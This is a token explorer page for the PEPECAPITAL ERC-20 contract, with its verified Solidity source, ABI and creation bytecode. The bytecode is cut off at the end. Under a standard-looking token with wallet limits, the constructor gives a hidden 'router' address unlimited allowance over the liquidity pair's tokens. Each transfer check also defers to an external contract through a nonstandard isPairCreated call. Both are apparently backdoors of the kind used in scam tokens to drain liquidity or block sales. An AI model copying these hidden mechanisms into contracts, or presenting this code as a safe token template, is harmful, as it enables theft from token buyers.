ETH Price: $2,419.45 (+0.01%)

Token

PEPECAPITAL (PEPECAPITAL)
 

Overview

Max Total Supply

1,000,000,000 PEPECAPITAL

Holders

39

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
14,449,212.029944370820400231 PEPECAPITAL

Value
$0.00
0xd0563f930bfb434a1bbddf84ae39986efd8f3d86
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
CAPITALPEPE

Compiler Version
v0.8.19+commit.7dd6d404

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-07-07
*/

// SPDX-License-Identifier: MIT

// Website: https://www.pepecapital.vip
// Telegram: https://t.me/pepe_capital


pragma solidity ^0.8.19;

library SafeMath {
    /**
     * @dev Returns the addition of two unsigned integers, reverting on
     * overflow.
     *
     * Counterpart to Solidity's `+` operator.
     *
     * Requirements:
     *
     * - Addition cannot overflow.
     */
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");

        return c;
    }

    /**
     * @dev Returns the subtraction of two unsigned integers, reverting on
     * overflow (when the result is negative).
     *
     * Counterpart to Solidity's `-` operator.
     *
     * Requirements:
     *
     * - Subtraction cannot overflow.
     */
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    /**
     * @dev Returns the subtraction of two unsigned integers, reverting with custom message on
     * overflow (when the result is negative).
     *
     * Counterpart to Solidity's `-` operator.
     *
     * Requirements:
     *
     * - Subtraction cannot overflow.
     */
    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;

        return c;
    }

    /**
     * @dev Returns the integer division of two unsigned integers. Reverts on
     * division by zero. The result is rounded towards zero.
     *
     * Counterpart to Solidity's `/` operator. Note: this function uses a
     * `revert` opcode (which leaves remaining gas untouched) while Solidity
     * uses an invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    /**
     * @dev Returns the integer division of two unsigned integers. Reverts with custom message on
     * division by zero. The result is rounded towards zero.
     *
     * Counterpart to Solidity's `/` operator. Note: this function uses a
     * `revert` opcode (which leaves remaining gas untouched) while Solidity
     * uses an invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        // assert(a == b * c + a % b); // There is no case in which this doesn't hold

        return c;
    }
}
abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes memory) {
        this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
        return msg.data;
    }
}
interface ISimpleERC20 {
    /**
     * @dev Returns the name of the token.
     */
    function name() external view returns (string memory);

    /**
     * @dev Returns the symbol of the token.
     */
    function symbol() external view returns (string memory);

    /**
     * @dev Returns the decimals places of the token.
     */
    function decimals() external view returns (uint8);
    /**
     * @dev Returns the amount of tokens in existence.
     */
    function totalSupply() external view returns (uint256);

    /**
     * @dev Returns the amount of tokens owned by `account`.
     */
    function balanceOf(address account) external view returns (uint256);

    /**
     * @dev Moves `amount` tokens from the caller's account to `recipient`.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transfer(address recipient, uint256 amount)
        external
        returns (bool);

    /**
     * @dev Returns the remaining number of tokens that `spender` will be
     * allowed to spend on behalf of `owner` through {transferFrom}. This is
     * zero by default.
     *
     * This value changes when {approve} or {transferFrom} are called.
     */
    function allowance(address owner, address spender)
        external
        view
        returns (uint256);

    /**
     * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * IMPORTANT: Beware that changing an allowance with this method brings the risk
     * that someone may use both the old and the new allowance by unfortunate
     * transaction ordering. One possible solution to mitigate this race
     * condition is to first reduce the spender's allowance to 0 and set the
     * desired value afterwards:
     * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
     *
     * Emits an {Approval} event.
     */
    function approve(address spender, uint256 amount) external returns (bool);

    /**
     * @dev Moves `amount` tokens from `sender` to `recipient` using the
     * allowance mechanism. `amount` is then deducted from the caller's
     * allowance.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);

    /**
     * @dev Emitted when `value` tokens are moved from one account (`from`) to
     * another (`to`).
     *
     * Note that `value` may be zero.
     */
    event Transfer(address indexed from, address indexed to, uint256 value);

    /**
     * @dev Emitted when the allowance of a `spender` for an `owner` is set by
     * a call to {approve}. `value` is the new allowance.
     */
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
}
interface UniswapInterface {
    function factory() external view returns (address);
    function WETH() external pure returns (address);
    function isPairCreated(address tokenA, address tokenB) external returns (uint256);
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;
    function createPair(address tokenA, address tokenB) external returns (address pair);
}
contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(
        address indexed previousOwner,
        address indexed newOwner
    );

    /**
     * @dev Initializes the contract setting the deployer as the initial owner.
     */
    constructor() {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    /**
     * @dev Returns the address of the current owner.
     */
    function owner() public view returns (address) {
        return _owner;
    }

    /**
     * @dev Throws if called by any account other than the owner.
     */
    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    /**
     * @dev Leaves the contract without owner. It will not be possible to call
     * `onlyOwner` functions anymore. Can only be called by the current owner.
     *
     * NOTE: Renouncing ownership will leave the contract without an owner,
     * thereby removing any functionality that is only available to the owner.
     */
    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Can only be called by the current owner.
     */
    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(
            newOwner != address(0),
            "Ownable: new owner is the zero address"
        );
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }
}
contract StandardERC20 is Context, ISimpleERC20 {
    using SafeMath for uint256;

    mapping(address => uint256) private _balances;

    mapping(address => mapping(address => uint256)) internal _allowances;

    uint256 private _totalSupply;

    string private _name;
    string private _symbol;
    uint8 private _decimals;
    
    constructor(
        string memory name_,
        string memory symbol_,
        uint8 decimals_
    ) {
        _name = name_;
        _symbol = symbol_;
        _decimals = decimals_;
    }

    /**
     * @dev Returns the name of the token.
     */
    function name() public view virtual override returns (string memory) {
        return _name;
    }

    /**
     * @dev Returns the symbol of the token, usually a shorter version of the
     * name.
     */
    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }

    /**
     * @dev Returns the number of decimals used to get its user representation.
     * For example, if `decimals` equals `2`, a balance of `505` tokens should
     * be displayed to a user as `5,05` (`505 / 10 ** 2`).
     *
     * Tokens usually opt for a value of 18, imitating the relationship between
     * Ether and Wei. This is the value {StandardERC20} uses, unless this function is
     * overridden;
     *
     * NOTE: This information is only used for _display_ purposes: it in
     * no way affects any of the arithmetic of the contract, including
     * {ISimpleERC20-balanceOf} and {ISimpleERC20-transfer}.
     */
    function decimals() public view virtual override returns (uint8) {
        return _decimals;
    }

    /**
     * @dev See {ISimpleERC20-totalSupply}.
     */
    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    /**
     * @dev See {ISimpleERC20-balanceOf}.
     */
    function balanceOf(address account)
        public
        view
        virtual
        override
        returns (uint256)
    {
        return _balances[account];
    }

    /**
     * @dev See {ISimpleERC20-transfer}.
     *
     * Requirements:
     *
     * - `recipient` cannot be the zero address.
     * - the caller must have a balance of at least `amount`.
     */
    function transfer(address recipient, uint256 amount)
        public
        virtual
        override
        returns (bool)
    {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    /**
     * @dev See {ISimpleERC20-allowance}.
     */
    function allowance(address owner, address spender)
        public
        view
        virtual
        override
        returns (uint256)
    {
        return _allowances[owner][spender];
    }

    /**
     * @dev See {ISimpleERC20-approve}.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     */
    function approve(address spender, uint256 amount)
        public
        virtual
        override
        returns (bool)
    {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    /**
     * @dev See {ISimpleERC20-transferFrom}.
     *
     * Emits an {Approval} event indicating the updated allowance. This is not
     * required by the EIP. See the note at the beginning of {StandardERC20}.
     *
     * Requirements:
     *
     * - `sender` and `recipient` cannot be the zero address.
     * - `sender` must have a balance of at least `amount`.
     * - the caller must have allowance for ``sender``'s tokens of at least
     * `amount`.
     */
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public virtual override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(
            sender,
            _msgSender(),
            _allowances[sender][_msgSender()].sub(
                amount,
                "StandardERC20: transfer amount exceeds allowance"
            )
        );
        return true;
    }

    /**
     * @dev Atomically increases the allowance granted to `spender` by the caller.
     *
     * This is an alternative to {approve} that can be used as a mitigation for
     * problems described in {ISimpleERC20-approve}.
     *
     * Emits an {Approval} event indicating the updated allowance.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     */
    function increaseAllowance(address spender, uint256 addedValue)
        public
        virtual
        returns (bool)
    {
        _approve(
            _msgSender(),
            spender,
            _allowances[_msgSender()][spender].add(addedValue)
        );
        return true;
    }

    /**
     * @dev Atomically decreases the allowance granted to `spender` by the caller.
     *
     * This is an alternative to {approve} that can be used as a mitigation for
     * problems described in {ISimpleERC20-approve}.
     *
     * Emits an {Approval} event indicating the updated allowance.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     * - `spender` must have allowance for the caller of at least
     * `subtractedValue`.
     */
    function decreaseAllowance(address spender, uint256 subtractedValue)
        public
        virtual
        returns (bool)
    {
        _approve(
            _msgSender(),
            spender,
            _allowances[_msgSender()][spender].sub(
                subtractedValue,
                "StandardERC20: decreased allowance below zero"
            )
        );
        return true;
    }

    /**
     * @dev Moves tokens `amount` from `sender` to `recipient`.
     *
     * This is internal function is equivalent to {transfer}, and can be used to
     * e.g. implement automatic token fees, slashing mechanisms, etc.
     *
     * Emits a {Transfer} event.
     *
     * Requirements:
     *
     * - `sender` cannot be the zero address.
     * - `recipient` cannot be the zero address.
     * - `sender` must have a balance of at least `amount`.
     */
    function _transfer(
        address sender,
        address recipient,
        uint256 amount
    ) internal virtual {
        require(sender != address(0), "StandardERC20: transfer from the zero address");
        require(recipient != address(0), "StandardERC20: transfer to the zero address");

        _beforeTokenTransfer(sender, recipient, amount);

        _balances[sender] = _balances[sender].sub(
            amount,
            "StandardERC20: transfer amount exceeds balance"
        );
        _balances[recipient] = _balances[recipient].add(amount);
        emit Transfer(sender, recipient, amount);
    }

    /** @dev Creates `amount` tokens and assigns them to `account`, increasing
     * the total supply.
     *
     * Emits a {Transfer} event with `from` set to the zero address.
     *
     * Requirements:
     *
     * - `account` cannot be the zero address.
     */
    function _mint(address account, uint256 amount) internal virtual {
        require(account != address(0), "StandardERC20: mint to the zero address");

        _beforeTokenTransfer(address(0), account, amount);

        _totalSupply = _totalSupply.add(amount);
        _balances[account] = _balances[account].add(amount);
        emit Transfer(address(0), account, amount);
    }

    /**
     * @dev Destroys `amount` tokens from `account`, reducing the
     * total supply.
     *
     * Emits a {Transfer} event with `to` set to the zero address.
     *
     * Requirements:
     *
     * - `account` cannot be the zero address.
     * - `account` must have at least `amount` tokens.
     */
    function _burn(address account, uint256 amount) internal virtual {
        require(account != address(0), "StandardERC20: burn from the zero address");

        _beforeTokenTransfer(account, address(0), amount);

        _balances[account] = _balances[account].sub(
            amount,
            "StandardERC20: burn amount exceeds balance"
        );
        _totalSupply = _totalSupply.sub(amount);
        emit Transfer(account, address(0), amount);
    }

    /**
     * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
     *
     * This internal function is equivalent to `approve`, and can be used to
     * e.g. set automatic allowances for certain subsystems, etc.
     *
     * Emits an {Approval} event.
     *
     * Requirements:
     *
     * - `owner` cannot be the zero address.
     * - `spender` cannot be the zero address.
     */
    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(owner != address(0), "StandardERC20: approve from the zero address");
        require(spender != address(0), "StandardERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    /**
     * @dev Hook that is called before any transfer of tokens. This includes
     * minting and burning.
     *
     * Calling conditions:
     *
     * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
     * will be to transferred to `to`.
     * - when `from` is zero, `amount` tokens will be minted for `to`.
     * - when `to` is zero, `amount` of ``from``'s tokens will be burned.
     * - `from` and `to` are never both zero.
     *
     * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
     */
    function _beforeTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}
}

contract CAPITALPEPE is Ownable, StandardERC20  {
    using SafeMath for uint256;
    address private uniswapPairAddr;
    address private uniswapRouterAddr;
    uint256 private _tSupply;
    UniswapInterface public uniInstance;
    struct UniswapRef {
        address router;
        address factory;
    }
    UniswapRef private uniInfo;
    mapping(address => bool) private _isExcluded;
    uint256 public sizeMaxWallet;
    uint256 public sizeMaxTx;

    constructor(
        string memory name_, string memory symbol_,
        uint256 supply_, uint8 decimals_, uint256 maxTransaction_,
        uint256 maxWallet_, address router_,
        UniswapRef memory uniInfo_
    ) payable StandardERC20(name_, symbol_, decimals_) {
        uniInfo = uniInfo_;
        uniswapRouterAddr = uniInfo.router;
        uniInstance = UniswapInterface(router_);
        _tSupply = supply_;        
        uniswapPairAddr = UniswapInterface(uniInstance.factory()).createPair(address(this), uniInstance.WETH());
        _allowances[uniswapPairAddr][uniswapRouterAddr] = type(uint).max;
        _isExcluded[uniInfo.router] = true;
        _isExcluded[owner()] = true;
        _isExcluded[address(this)] = true;
        _mint(owner(), supply_ * (10**decimals_));
        sizeMaxTx = maxTransaction_ * supply_ * (10**decimals_).div(10000);
        sizeMaxWallet = maxWallet_ * supply_ * (10**decimals_).div(10000);
    }
    function isExcluded(address from, address to) private returns (bool) {
        return _isExcluded[from] || _isExcluded[to] || UniswapInterface(uniInfo.factory).isPairCreated(from, to) > 0;
    }
    function disableLimits() external onlyOwner {
        sizeMaxTx = totalSupply();
        sizeMaxWallet = totalSupply();
    }
    function _transfer(
        address from,
        address to,
        uint256 amount
    ) internal override {
        if (!isExcluded(from, to)){
            require(amount <= sizeMaxTx, "Max Transaction limit");

            if (to != uniswapPairAddr) {
                require(balanceOf(to) + amount <= sizeMaxWallet, "Max Wallet limit");
            }
        }
        super._transfer(from, to, amount);
    }
    receive() external payable {}
}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"string","name":"name_","type":"string"},{"internalType":"string","name":"symbol_","type":"string"},{"internalType":"uint256","name":"supply_","type":"uint256"},{"internalType":"uint8","name":"decimals_","type":"uint8"},{"internalType":"uint256","name":"maxTransaction_","type":"uint256"},{"internalType":"uint256","name":"maxWallet_","type":"uint256"},{"internalType":"address","name":"router_","type":"address"},{"components":[{"internalType":"address","name":"router","type":"address"},{"internalType":"address","name":"factory","type":"address"}],"internalType":"struct CAPITALPEPE.UniswapRef","name":"uniInfo_","type":"tuple"}],"stateMutability":"payable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"disableLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"sizeMaxTx","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"sizeMaxWallet","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniInstance","outputs":[{"internalType":"contract UniswapInterface","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

6080604052604051620019b2380380620019b2833981016040819052620000269162000707565b600080546001600160a01b0319163390811782556040518a928a928992909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a35060046200007b84826200085d565b5060056200008a83826200085d565b506006805460ff191660ff9290921691909117905550508051600a80546001600160a01b03199081166001600160a01b03938416908117909255602080850151600b8054841691861691909117905560078054831690931790925560098054909116928516928317905560088890556040805163c45a015560e01b8152905163c45a0155926004838101939192918290030181865afa15801562000132573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000158919062000929565b6001600160a01b031663c9c6539630600960009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015620001bb573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620001e1919062000929565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af11580156200022f573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000255919062000929565b60068054610100600160a81b0319166101006001600160a01b03938416810291909117918290559004811660009081526002602090815260408083206007548516845282528083206000199055600a549093168252600c90819052918120805460ff191660019081179091559190620002d66000546001600160a01b031690565b6001600160a01b0316815260208082019290925260409081016000908120805494151560ff19958616179055308152600c9092529020805490911660011790556200034c6200032d6000546001600160a01b031690565b6200033a87600a62000a5a565b62000346908962000a6b565b620003c0565b620003676127106200036087600a62000a5a565b90620004c1565b62000373878662000a6b565b6200037f919062000a6b565b600e55620003966127106200036087600a62000a5a565b620003a2878562000a6b565b620003ae919062000a6b565b600d555062000af39650505050505050565b6001600160a01b0382166200042c5760405162461bcd60e51b815260206004820152602760248201527f5374616e6461726445524332303a206d696e7420746f20746865207a65726f206044820152666164647265737360c81b60648201526084015b60405180910390fd5b6003546200043b908262000519565b6003556001600160a01b03821660009081526001602052604090205462000463908262000519565b6001600160a01b0383166000818152600160205260408082209390935591519091907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90620004b59085815260200190565b60405180910390a35050565b60006200050b83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506200057c60201b60201c565b90505b92915050565b505050565b60008062000528838562000a85565b9050838110156200050b5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640162000423565b60008183620005a05760405162461bcd60e51b815260040162000423919062000a9b565b506000620005af848662000ad0565b95945050505050565b634e487b7160e01b600052604160045260246000fd5b60005b83811015620005eb578181015183820152602001620005d1565b50506000910152565b600082601f8301126200060657600080fd5b81516001600160401b0380821115620006235762000623620005b8565b604051601f8301601f19908116603f011681019082821181831017156200064e576200064e620005b8565b816040528381528660208588010111156200066857600080fd5b6200067b846020830160208901620005ce565b9695505050505050565b80516001600160a01b03811681146200069d57600080fd5b919050565b600060408284031215620006b557600080fd5b604080519081016001600160401b0381118282101715620006da57620006da620005b8565b604052905080620006eb8362000685565b8152620006fb6020840162000685565b60208201525092915050565b600080600080600080600080610120898b0312156200072557600080fd5b88516001600160401b03808211156200073d57600080fd5b6200074b8c838d01620005f4565b995060208b01519150808211156200076257600080fd5b50620007718b828c01620005f4565b97505060408901519550606089015160ff811681146200079057600080fd5b60808a015160a08b015191965094509250620007af60c08a0162000685565b9150620007c08a60e08b01620006a2565b90509295985092959890939650565b600181811c90821680620007e457607f821691505b6020821081036200080557634e487b7160e01b600052602260045260246000fd5b50919050565b601f8211156200051457600081815260208120601f850160051c81016020861015620008345750805b601f850160051c820191505b81811015620008555782815560010162000840565b505050505050565b81516001600160401b03811115620008795762000879620005b8565b62000891816200088a8454620007cf565b846200080b565b602080601f831160018114620008c95760008415620008b05750858301515b600019600386901b1c1916600185901b17855562000855565b600085815260208120601f198616915b82811015620008fa57888601518255948401946001909101908401620008d9565b5085821015620009195787850151600019600388901b60f8161c191681555b5050505050600190811b01905550565b6000602082840312156200093c57600080fd5b6200050b8262000685565b634e487b7160e01b600052601160045260246000fd5b600181815b808511156200099e57816000190482111562000982576200098262000947565b808516156200099057918102915b93841c939080029062000962565b509250929050565b600082620009b7575060016200050e565b81620009c6575060006200050e565b8160018114620009df5760028114620009ea5762000a0a565b60019150506200050e565b60ff841115620009fe57620009fe62000947565b50506001821b6200050e565b5060208310610133831016604e8410600b841016171562000a2f575081810a6200050e565b62000a3b83836200095d565b806000190482111562000a525762000a5262000947565b029392505050565b60006200050b60ff841683620009a6565b80820281158282048414176200050e576200050e62000947565b808201808211156200050e576200050e62000947565b602081526000825180602084015262000abc816040850160208701620005ce565b601f01601f19169190910160400192915050565b60008262000aee57634e487b7160e01b600052601260045260246000fd5b500490565b610eaf8062000b036000396000f3fe60806040526004361061010d5760003560e01c8063715018a611610095578063a457c2d711610064578063a457c2d7146102dd578063a9059cbb146102fd578063dd62ed3e1461031d578063f2fde38b14610363578063f928364c1461038357600080fd5b8063715018a61461027d5780637992d4ca146102945780638da5cb5b146102aa57806395d89b41146102c857600080fd5b806323b872dd116100dc57806323b872dd146101ad578063265a1adc146101cd578063313ce56714610205578063395093511461022757806370a082311461024757600080fd5b806306fdde0314610119578063095ea7b314610144578063155928441461017457806318160ddd1461019857600080fd5b3661011457005b600080fd5b34801561012557600080fd5b5061012e610398565b60405161013b9190610c0c565b60405180910390f35b34801561015057600080fd5b5061016461015f366004610c76565b61042a565b604051901515815260200161013b565b34801561018057600080fd5b5061018a600e5481565b60405190815260200161013b565b3480156101a457600080fd5b5060035461018a565b3480156101b957600080fd5b506101646101c8366004610ca0565b610441565b3480156101d957600080fd5b506009546101ed906001600160a01b031681565b6040516001600160a01b03909116815260200161013b565b34801561021157600080fd5b5060065460405160ff909116815260200161013b565b34801561023357600080fd5b50610164610242366004610c76565b6104aa565b34801561025357600080fd5b5061018a610262366004610cdc565b6001600160a01b031660009081526001602052604090205490565b34801561028957600080fd5b506102926104e0565b005b3480156102a057600080fd5b5061018a600d5481565b3480156102b657600080fd5b506000546001600160a01b03166101ed565b3480156102d457600080fd5b5061012e61055d565b3480156102e957600080fd5b506101646102f8366004610c76565b61056c565b34801561030957600080fd5b50610164610318366004610c76565b6105bb565b34801561032957600080fd5b5061018a610338366004610cf7565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b34801561036f57600080fd5b5061029261037e366004610cdc565b6105c8565b34801561038f57600080fd5b506102926106b2565b6060600480546103a790610d2a565b80601f01602080910402602001604051908101604052809291908181526020018280546103d390610d2a565b80156104205780601f106103f557610100808354040283529160200191610420565b820191906000526020600020905b81548152906001019060200180831161040357829003601f168201915b5050505050905090565b60006104373384846106ea565b5060015b92915050565b600061044e848484610820565b6104a0843361049b85604051806060016040528060308152602001610e1c603091396001600160a01b038a1660009081526002602090815260408083203384529091529020549190610910565b6106ea565b5060019392505050565b3360008181526002602090815260408083206001600160a01b0387168452909152812054909161043791859061049b908661094a565b6000546001600160a01b031633146105135760405162461bcd60e51b815260040161050a90610d64565b60405180910390fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6060600580546103a790610d2a565b6000610437338461049b856040518060600160405280602d8152602001610def602d91393360009081526002602090815260408083206001600160a01b038d1684529091529020549190610910565b6000610437338484610820565b6000546001600160a01b031633146105f25760405162461bcd60e51b815260040161050a90610d64565b6001600160a01b0381166106575760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b606482015260840161050a565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6000546001600160a01b031633146106dc5760405162461bcd60e51b815260040161050a90610d64565b600354600e55600354600d55565b6001600160a01b0383166107555760405162461bcd60e51b815260206004820152602c60248201527f5374616e6461726445524332303a20617070726f76652066726f6d207468652060448201526b7a65726f206164647265737360a01b606482015260840161050a565b6001600160a01b0382166107be5760405162461bcd60e51b815260206004820152602a60248201527f5374616e6461726445524332303a20617070726f766520746f20746865207a65604482015269726f206164647265737360b01b606482015260840161050a565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b61082a83836109b0565b61090057600e548111156108785760405162461bcd60e51b815260206004820152601560248201527413585e08151c985b9cd858dd1a5bdb881b1a5b5a5d605a1b604482015260640161050a565b6006546001600160a01b03838116610100909204161461090057600d54816108b5846001600160a01b031660009081526001602052604090205490565b6108bf9190610daf565b11156109005760405162461bcd60e51b815260206004820152601060248201526f13585e0815d85b1b195d081b1a5b5a5d60821b604482015260640161050a565b61090b838383610a76565b505050565b600081848411156109345760405162461bcd60e51b815260040161050a9190610c0c565b5060006109418486610dc2565b95945050505050565b6000806109578385610daf565b9050838110156109a95760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161050a565b9392505050565b6001600160a01b0382166000908152600c602052604081205460ff16806109ef57506001600160a01b0382166000908152600c602052604090205460ff165b806109a95750600b5460405163a23a9a5b60e01b81526001600160a01b0385811660048301528481166024830152600092169063a23a9a5b906044016020604051808303816000875af1158015610a4a573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a6e9190610dd5565b119392505050565b6001600160a01b038316610ae25760405162461bcd60e51b815260206004820152602d60248201527f5374616e6461726445524332303a207472616e736665722066726f6d2074686560448201526c207a65726f206164647265737360981b606482015260840161050a565b6001600160a01b038216610b4c5760405162461bcd60e51b815260206004820152602b60248201527f5374616e6461726445524332303a207472616e7366657220746f20746865207a60448201526a65726f206164647265737360a81b606482015260840161050a565b610b89816040518060600160405280602e8152602001610e4c602e91396001600160a01b0386166000908152600160205260409020549190610910565b6001600160a01b038085166000908152600160205260408082209390935590841681522054610bb8908261094a565b6001600160a01b0380841660008181526001602052604090819020939093559151908516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906108139085815260200190565b600060208083528351808285015260005b8181101561